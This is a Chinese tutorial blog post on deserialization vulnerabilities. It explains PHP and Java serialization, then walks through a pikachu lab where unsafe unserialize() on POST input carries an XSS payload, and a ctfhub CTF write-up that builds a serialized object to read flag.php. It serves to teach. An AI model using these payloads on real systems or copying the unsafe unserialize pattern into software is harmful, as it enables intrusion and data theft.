web渗透-反序列化漏洞

本文涉及的产品
多模态交互后付费免费试用,全链路、全Agent
简介: 序列化是将对象转为可传输字符串的技术,便于存储与传输。PHP通过serialize/unserialize实现,Java通过Serializable接口和ObjectOutputStream完成。文中还介绍了反序列化漏洞在安全测试中的利用方法及CTF实战案例。

一、简介

就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个dlass一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候php就和我们说,你可以把这个对象序列化了,存成一个字符审,当你要用的时候再放他出来就好了。在我们讲php反序列化的时候,基本都是围绕着serialize(). unserialize()这两个函数。

二、PHP序列化和反序列化

1. 序列化

#  序列化函数:serialize()
<?php
class  Person {
  var $name="varin";
}
$user1 = new Person();
echo serialize($user1);
?>

O:对象
6:对象名称长度
Person:对象名称
1:表示有一个值
s:字符串
4:变量名长度
...
  常见的几个魔法函数:
        __construct()当一个对象创建时被调用
        __destruct()当一个对象销毁时被调用
        __toString()当一个对象被当作一个字符串使用
        __sleep() 在对象在被序列化之前运行
        __wakeup将在序列化之后立即被调用

2. 反序列化

<?php
class  Person {
  var $name="varin";
}
// 序列化
$user1 = new Person();
$user1_ser= serialize($user1);
// 反序列化
$user2 = unserialize($user1_ser);
print_r($user2);
echo "<br>";
echo $user1->name;
?>

三、JAVA序列化和反序列化

使用:

1. 序列化

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Test {
    public static void main(String[] args) throws IOException {
        // 序列化
        Person person = new Person("varin");
        System.out.println(person);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./varin.txt"));
        objectOutputStream.writeObject(person);
        objectOutputStream.flush();
        objectOutputStream.close();
    }
}
class Person implements Serializable{
    public Person(){
    }
    private  String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Person(String name) {
        this.name = name;
    }
    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                '}';
    }
}

2. 反序列化

技巧:若在网站上看见一段数据以r00AB开头,大概率是JAVA序列化Base64加密的数据

或者:是以aced开头,是java序列化的十六进制数据

import java.io.*;
public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./varin.txt"));
        Person o =(Person) objectInputStream.readObject();
        objectOutputStream.close();
        System.out.println(o.getName());
    }
}

3. 扩展-java执行系统命令

import java.io.*;
public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // java执行系统命令
        Process ifconfig = Runtime.getRuntime().exec("ipconfig");
        InputStream inputStream = ifconfig.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String s = null;
        while (( s = bufferedReader.readLine()) != null) {
            System.out.println(s);
        }
        bufferedReader.close();
    }
}

四、PHP反序列化漏洞重现

  • 靶场:pikachu
// 漏洞源码
/*
核心:
以POST方式接收序列化对象o,
接收后并将o对象序列化后赋值给对象$unser,页面打印对象$unser的test属性
*/
<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}
?>
# 序列化结构:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

五、CTF-PHP反序列化漏洞利用

平台:https://www.ctfhub.com/

题目名称:AreUSerialz

思路:

// 弱类型对比:== (存在漏洞:“2”==“ 2” 返回true)
// 强类型对比:=== 
1 git方式提交str参数
2 有unserialize()函数表示需要序列化数据
3 FileHandler类三个变量,5个函数其中两个魔法函数,3个自定义函数
4 魔法函数:__construct()创建 、__destruct()销毁
5 write ()、read()、process()
6 因为代码中并创建对象,所以未使用__construct()函数,只执行__destruct()
7 __destruct()函数中将$content变量中的值清空了,所以write方法无效
8 利用弱类型对比漏洞,进入到read方法
9 因为代码中有文件包含:include("flag.php"),所以尝试读取,$filename=“flag.php”
10 构造序列化字符串
<?php
class FileHandler {
    protected $op=" 2";
    protected $filename="flag.php";
    protected $content="";
}
$o = new FileHandler();
echo serialize($o);
# O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
?>
# 将序列化字符赋值给str并使用get方法请求网址后,进入到网页的源代码页面

# flag
$FLAG = "ctfhub{128ad0a5b38aae3ac705237b}"

六、扩展:WebGoat靶场实战(JAVA靶场)

相关文章
|
9天前
|
人工智能 运维 安全
|
7天前
|
人工智能 异构计算
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
|
8天前
|
机器学习/深度学习 人工智能 自然语言处理
B站开源IndexTTS2,用极致表现力颠覆听觉体验
在语音合成技术不断演进的背景下,早期版本的IndexTTS虽然在多场景应用中展现出良好的表现,但在情感表达的细腻度与时长控制的精准性方面仍存在提升空间。为了解决这些问题,并进一步推动零样本语音合成在实际场景中的落地能力,B站语音团队对模型架构与训练策略进行了深度优化,推出了全新一代语音合成模型——IndexTTS2 。
669 23
|
7天前
|
人工智能 测试技术 API
智能体(AI Agent)搭建全攻略:从概念到实践的终极指南
在人工智能浪潮中,智能体(AI Agent)正成为变革性技术。它们具备自主决策、环境感知、任务执行等能力,广泛应用于日常任务与商业流程。本文详解智能体概念、架构及七步搭建指南,助你打造专属智能体,迎接智能自动化新时代。
|
14天前
|
人工智能 JavaScript 测试技术
Qwen3-Coder入门教程|10分钟搞定安装配置
Qwen3-Coder 挑战赛简介:无论你是编程小白还是办公达人,都能通过本教程快速上手 Qwen-Code CLI,利用 AI 轻松实现代码编写、文档处理等任务。内容涵盖 API 配置、CLI 安装及多种实用案例,助你提升效率,体验智能编码的乐趣。
1091 110
|
人工智能 数据可视化 数据挖掘
Quick BI 体验&征文有奖!
瓴羊生态推出Quick BI 征文激励计划,鼓励用户分享数据分析实践经验与技术洞察,征集高质量原创文章。内容围绕AI功能体验与BI案例实践,设季奖、年奖及参与奖,优秀作者可获现金奖励、产品内测资格及官方认证形象。投稿截止至2026年3月31日。
Quick BI 体验&征文有奖!